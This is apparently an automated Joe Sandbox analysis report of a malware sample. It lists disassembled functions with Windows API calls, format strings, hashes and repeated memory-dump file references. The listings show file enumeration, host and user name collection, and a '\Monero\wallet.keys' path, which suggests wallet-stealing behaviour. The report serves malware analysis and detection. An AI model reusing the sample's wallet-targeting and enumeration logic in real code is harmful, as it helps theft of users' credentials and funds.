Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: ae30fe0f1cde176463b6589bbc5a50bba47c28038a4b0c8204396ab1948726c6
Instruction ID: 87aed1d0d4a1ca79d31db8cde86ae5f096c2818feadc6dc21597d79537951dc8
Opcode Fuzzy Hash: ae30fe0f1cde176463b6589bbc5a50bba47c28038a4b0c8204396ab1948726c6
Instruction Fuzzy Hash: 980188B69002086BC754FBA0DC46FFA773CBB94300F004559B64E96191EE75AAC8CBE6

Function 005B10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005B10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005B10F7

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: db5390625b4d4c0f69214e9040011afa3e110f210893242cdf8b7724abd6d84e
Instruction ID: 95e0e7059fe2bf7053df01edc49c25bae112bc21aa85124bf0472abc78685232
Opcode Fuzzy Hash: db5390625b4d4c0f69214e9040011afa3e110f210893242cdf8b7724abd6d84e
Instruction Fuzzy Hash: 1BF0E9B1641208BBE714A6A49C5DFBAB7D8E705715F304448F504E3280D5716F00CAA4

Function 005C8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,005B1B54,?,?,005D564C,?,?,005D0E1F), ref: 005C8D9F

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f78f42b319f02d2a01a244902a9339bbabc7c8c4e21cfe299ccee2dd026964d1
Instruction ID: d4e5cf98b49e5973ea9c257a8a8916734f20a848aa8936cb8492a9c1dfd84b1d
Opcode Fuzzy Hash: f78f42b319f02d2a01a244902a9339bbabc7c8c4e21cfe299ccee2dd026964d1
Instruction Fuzzy Hash: E5F09270C0020CAFCB04EFA4D949BACBF74FB10314F108599E86667290DB746A55DB82

Function 005C8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005C8E0B

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1168a968aa35238de5e98c012cbea942463729f9e4b4aabf31478f3d9b473db8
Instruction ID: 865dd046cdc812d7073cff0299f19b1d064d7d7281b1b733dc8c76c598aaaf15
Opcode Fuzzy Hash: 1168a968aa35238de5e98c012cbea942463729f9e4b4aabf31478f3d9b473db8
Instruction Fuzzy Hash: 89E01A71A4034C7FDB91EB90CC9AFAE777CEB44B11F004299BA0C5A1C0DE70AB858B91

Function 005B1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7910
Part of subcall function 005C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005C7917
Part of subcall function 005C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005C792F

Part of subcall function 005C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005B11B7), ref: 005C7880
Part of subcall function 005C7850: RtlAllocateHeap.NTDLL(00000000), ref: 005C7887
Part of subcall function 005C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005C789F

ExitProcess.KERNEL32 ref: 005B11C6

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: d9768b015d55f54ec86e214188771c0ba4045e369b19aa6d9967ee493ccbfe75
Instruction ID: d98a34e2410c18d5443f0da3913a75ea308a166bd2a7a6279e32f96f82bfc6f3
Opcode Fuzzy Hash: d9768b015d55f54ec86e214188771c0ba4045e369b19aa6d9967ee493ccbfe75
Instruction Fuzzy Hash: 48E08CA59042062ACA0033F5AC1EF3A3B8C7B44345F040428FA09C2502FA28F800C96E

Non-executed Functions

Function 005C38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005C38CC
FindFirstFileA.KERNEL32(?,?), ref: 005C38E3
lstrcat.KERNEL32(?,?), ref: 005C3935
StrCmpCA.SHLWAPI(?,005D0F70), ref: 005C3947
StrCmpCA.SHLWAPI(?,005D0F74), ref: 005C395D
FindNextFileA.KERNEL32(000000FF,?), ref: 005C3C67
FindClose.KERNEL32(000000FF), ref: 005C3C7C

Strings

%s%s, xrefs: 005C3AAD
%s\*, xrefs: 005C38C0
%s\%s, xrefs: 005C3A6F
%s\%s, xrefs: 005C397A
%s\%s\%s, xrefs: 005C3A4A

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 54c795895b9f08979ebff488e68f76ef7efcc1b9de87a58ee8785b2e51045f90
Instruction ID: e29370f5c6dc69a7147ce49c791642ac564d023fc25c261f105e4e7b3e01b888
Opcode Fuzzy Hash: 54c795895b9f08979ebff488e68f76ef7efcc1b9de87a58ee8785b2e51045f90
Instruction Fuzzy Hash: F8A131B1900209AFDB24DFA4DC89FFE7778BB88300F04859DA51D96141EB75AB84CF62

Function 005C4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005C4580
RtlAllocateHeap.NTDLL(00000000), ref: 005C4587
wsprintfA.USER32 ref: 005C45A6
FindFirstFileA.KERNEL32(?,?), ref: 005C45BD
StrCmpCA.SHLWAPI(?,005D0FC4), ref: 005C45EB
StrCmpCA.SHLWAPI(?,005D0FC8), ref: 005C4601
FindNextFileA.KERNEL32(000000FF,?), ref: 005C468B
FindClose.KERNEL32(000000FF), ref: 005C46A0
lstrcat.KERNEL32(?,00C7F8D0), ref: 005C46C5
lstrcat.KERNEL32(?,00C7ECC0), ref: 005C46D8
lstrlen.KERNEL32(?), ref: 005C46E5
lstrlen.KERNEL32(?), ref: 005C46F6

Strings

%s\*, xrefs: 005C459A
%s\%s, xrefs: 005C461B

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 230cb36c696ab1d2c659a2b60af7457a521f0fe7403504d0ac282645e78be5d1
Instruction ID: ee0914dc21a90f5739ba97d94bf0e7eb2478ea939834d1c8bf3888e2e978d677
Opcode Fuzzy Hash: 230cb36c696ab1d2c659a2b60af7457a521f0fe7403504d0ac282645e78be5d1
Instruction Fuzzy Hash: 395155B1510219AFCB20EBB0DC99FF9777CBB58700F408589B61D92190EB799B84CFA5

Function 005BED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005BED3E
FindFirstFileA.KERNEL32(?,?), ref: 005BED55
StrCmpCA.SHLWAPI(?,005D1538), ref: 005BEDAB
StrCmpCA.SHLWAPI(?,005D153C), ref: 005BEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 005BF2AE
FindClose.KERNEL32(000000FF), ref: 005BF2C3

Strings

%s\*.*, xrefs: 005BED32

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 41affab5faa3d880ccfbf4726ffa69e547ba2376e22ccf77ccab18185298ff70
Instruction ID: fabdacf7a18fbb638c4465c22725671f672143b9a46edeb0c75b924f0e292397
Opcode Fuzzy Hash: 41affab5faa3d880ccfbf4726ffa69e547ba2376e22ccf77ccab18185298ff70
Instruction Fuzzy Hash: 0CE1DE7291111D9EDB54EBA0DC5AFEE7B38BF94304F40419DB40A62092EE346F8ACF55

Function 005BDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,005D0C2E), ref: 005BDE5E
StrCmpCA.SHLWAPI(?,005D14C8), ref: 005BDEAE
StrCmpCA.SHLWAPI(?,005D14CC), ref: 005BDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 005BE3E0
FindClose.KERNEL32(000000FF), ref: 005BE3F2

Strings

\*.*, xrefs: 005BDE26

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
